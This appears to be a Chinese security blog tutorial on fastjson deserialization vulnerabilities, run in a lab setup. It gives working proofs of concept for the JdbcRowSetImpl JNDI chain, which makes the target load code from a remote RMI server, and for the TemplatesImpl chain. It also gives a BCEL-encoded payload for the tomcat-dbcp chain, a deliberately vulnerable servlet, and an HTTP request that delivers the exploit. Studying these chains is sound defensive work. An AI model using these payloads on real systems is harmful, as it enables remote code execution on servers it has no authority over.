fastjson反序列化

fastjson

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。

序列化

JSON.toJSONString():将对象转为json格式

1
String jsonString1 = JSON.toJSONString(student);

{“name”:”xiaowu”}

如果要得到对象类的全限名,需要添加SerializerFeature.WriteClassName参数

1
String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);

{“@type”:”com.example.entity.Student”,”name”:”xiaowu”}

反序列化

JSON.parse(jsonStr)

把 JSON 字符串解析成一个通用的 Java 对象

返回类型是 Object

JSON.parseObject(jsonStr)

把 JSON 字符串直接解析成一个 JSONObject 或指定类型对象

返回 JSONObject

JSON.parseObject(jsonStr,Bean.class)

把 JSON 字符串直接解析成一个指定类型对象

返回Bean.class

实例对象

如果json数据的key有**@type**,那么就会自动实例化这个类,当然除非转换类型,否则实例类的类型依然是JSONObject

如果没有**@type**,那就只会返回一个普通的json对象

调用关系

序列化会自动调用get+属性名(首字母自动大写,_自动去掉)方法

**parse(jsonStr)**会调用set+属性名(首字母自动大写,_自动去掉)方法

**parseObject(jsonStr)**会调用set+get方法,因为该方法在内部调用了toJSON(obj),所以会获取get方法

限制

若Bean里面有get和set方法,则会返回该对象的实例,若无get,set,则会判断属性是否为public,若是,则会正常实例化

Feature.SupportNonPublicField

若无set,且属性为public,则需用Feature.SupportNonPublicField参数

1
JSON.parseObject(jsonString2, Student.class,Feature.SupportNonPublicField)

set的查找方式:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或当前类
  • 方法名以set开头
  • 参数个数为1

get的查找方式:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数

FastJson JdbcRowSetImpl JNDI注入

已知反序列化会根据@type寻找类并调用里面的set/get方法

JdbcRowSetImpl

connect()

创建InitialContext对象,使用lookup且参数可控

1
2
3
4
5
6
7
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

setDataSourceName()

设置dataSource,可以将其设置为rmi地址

1
2
3
4
5
6
7
8
9
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

setAutoCommit()

调用connect(),且为set方法

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

靶场

启动rmi服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.9:80/#Evil" 1099

构建poc

1
2
3
4
5
6
7
8
public class POC {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://192.168.1.9:1099/Evil\", \"autoCommit\":true}";
System.out.println(PoC);
JSON.parse(PoC);
}
}
1
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.9:1099/Evil", "autoCommit":true}

启动靶场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@WebServlet("/login2")
public class LoginServlet2 extends HttpServlet {

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");

// 读取整个请求体
BufferedReader reader = req.getReader();
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line);
}
String json = sb.toString();
System.out.println("收到 JSON: " + json);

// 允许远程类加载
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

// FastJSON 1.2.24 parse 即可
try {
com.alibaba.fastjson.JSON.parse(json);
} catch (Exception e) {
e.printStackTrace();
}

resp.setContentType("text/plain;charset=utf-8");
resp.getWriter().println("JSON 已解析");
}

}

抓包修改并发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /fastjson_war/login2 HTTP/1.1
Host: localhost:8081
Content-Length: 108
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8081/fastjson_war/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.9:1099/Evil", "autoCommit":true}

成功

image-20250825000926539

Fastjson TemplatesImpl链反序列化

在TemplatesImpl类的getOutputProperties()使用newTransformer()再调用defingClass()进行类加载,且它为get开头,因此可以使用它进行反序列化动态加载恶意类

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Poc2 {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Maven\\project\\fastjson\\fastjson\\src\\main\\java\\Evil.class"));
String code = Base64.getEncoder().encodeToString(bytes);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + code + "\"]," +
"'_name':'xiaowusec'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(payload);
JSON.parseObject(payload,TemplatesImpl.class,Feature.SupportNonPublicField);
}
}

FastJson bcel链

环境

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.5.50</version>
</dependency>

刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启Feature.SupportNonPublicField,并且实际应用中其实不多见所以我们就介绍另外一种攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但在实际攻击中还算是比较常见的。

普通bcel

1
2
3
4
5
6
7
8
9
10
11
public class becl {
public static void main(String[] args) throws IOException, SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {

//获取字节码信息
JavaClass cls = Repository.lookupClass(Evil.class);
//转becl字节码
String code = Utility.encode(cls.getBytes(), true);
System.out.println("$$BCEL$$"+code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}

com.sun.org.apache.bcel.internal.util.ClassLoader的loadClsaa会判断字符开头是否为bcel编码$$BCEL$$,若是,则解密后加载

1. 普通 ClassLoader 的行为

通常:

1
Class<?> c = driverClassLoader.loadClass("com.mysql.cj.jdbc.Driver");
  • loadClass 接受的是 类的全限定名(FQCN)
  • ClassLoader 去查找 .class 文件或 jar 包,把字节码加载成 Class 实例

2. BCEL ClassLoader 的特殊性

BCEL 的 ClassLoader(com.sun.org.apache.bcel.internal.util.ClassLoader)重写了加载逻辑:

  • 它能识别 $$BCEL$$ 开头的字符串
  • 并不会当作类名去查找 .class 文件
  • 而是:
    1. 解析字符串 → 得到原始 Java 字节码
    2. 调用 defineClass 动态生成 Class 对象
    3. 初始化类(执行静态代码块)

所以这里 driverClassName 传入的不是普通类名,而是 BCEL 编码的字节码数据

利用链

org/apache/tomcat/dbcp/dbcp2/BasicDataSource.java

getConnection()方法调用createDataSource()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Override
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}

createDataSource()调用createConnectionFactory()

image-20250904142552872

createConnectionFactory()调用createDriver()

image-20250904142636962

createDriver()调用Class.forName()加载类

image-20250904142846257

问题代码

1
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

driverClassName,driverClassLoader可控,可有自定义com.sun.org.apache.bcel.internal.util.ClassLoader加载恶意bcel编码

image-20250903193930546

POC

1
2
3
4
5
6
7
8
9
10
11
12
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$U$9cMB$i$3bN$81$40$S$a0_$d0$f2$91p$c0$97$de$S$f5BA$aa0$a5jP$w$8e$9b$ed6$y$d8$de$c8q$m$ff$88s$$$b4$w$S$bd$f7GU$bcu$a34$SX$f2$be$7d3$f3f$c7$eb$3f$7f$7f$dd$Dx$87$ba$D$h$x$OV$b1V$c0sS_Xxi$e1$95$83$3c$5e$5bX$b7$b0$c1$90o$a9H$r$ef$Z$b2$f5F$87$n$b7$af$bfI$86y_E$f2$d30$ec$ca$f8$94w$DB$ca$be$W$3c$e8$f0X$99$7e$C$e6$92s5$60$a8$f9B$87$9e$i$f1$b0$lH$ef$83$M$b5wp$a5$82$sC$a1$r$82$89$3f$p$7d$c5$bf$e0W$dcS$da$fbxr0$S$b2$9f$u$j$91$ac$d4N$b8$b8$3c$e6$fd$d4$97R28m$3d$8c$85$3cT$e6$i$db$d8$ed$99Y$X$O$8a$W$de$b8x$8bM$K$40$99$84$8b$zl3$y$3d$e1$cd$b0$96$a2$B$8fz$de$97a$94$a8PNI$e3$b5C$a1$9e$M$cf$b0$f0$7f$f2$a4$7b$nE$c2$b0$f8$c8$8c$82$f6d2m$w$f5$86$ffHC$l$98$93$p$v$Yv$ea3l$3b$89U$d4k$ce$O$7c$8e$b5$90$83$B$N$ac$cc$wO$cfc$7dmn$a6$d9$e8$60$D$F$fa$af$e6$c9$80$99$db$a0$d5$a5$ce$a3$ca$a8$ce$ed$fe$A$h$a7t$89$d6$fc$3f$Q$cfhu$t$fby$yP$z$60q$3a$fc$j$d9$94$ab$fdD$a6$9c$bdE$ee$eb$NJGw$c8$9f$91$9b$f5$7b$9c$926I$e7Hhl$ab$b4C$9a$a4H$a8M$98C$98$3b$3d$a6DX$ZK$d4$z$d3k$n$e3$5b$a8$d8DT$d3d$b5$H$J$B$Gl$a6$C$A$A"
}
}
}

POC解释

1
"driverClassLoader": "com/sun/org/apache/bcel/internal/util/ClassLoader.java"
  • Fastjson 不会自动把这个字符串当作类去实例化

  • 它只会当成普通字符串赋值给 driverClassLoader 字段 → 报错或无效

1
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
  • driverClassLoader 就是一个实例对象(com.sun.org.apache.bcel.internal.util.ClassLoader

  • Class.forName 会通过这个实例调用 loadClass 去加载 driverClassName 对应的类(这里是 $$BCEL$$... 字节码

1
2
3
4
5
6
7
8
9
10
11
12
Fastjson 反序列化 JSON


生成 BasicDataSource 对象

Class.forName(driverClassName, true, driverClassLoader)

BCEL ClassLoader 解析 $$BCEL$$ 编码

动态生成 Class 对象

静态块 / 构造方法执行 → payload 被执行

参考文章

https://blog.csdn.net/uuzeray/article/details/136437140

https://blog.csdn.net/weixin_49248030/article/details/127989449


fastjson反序列化
http://xiaowu5.cn/2025/12/04/fastjson反序列化/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU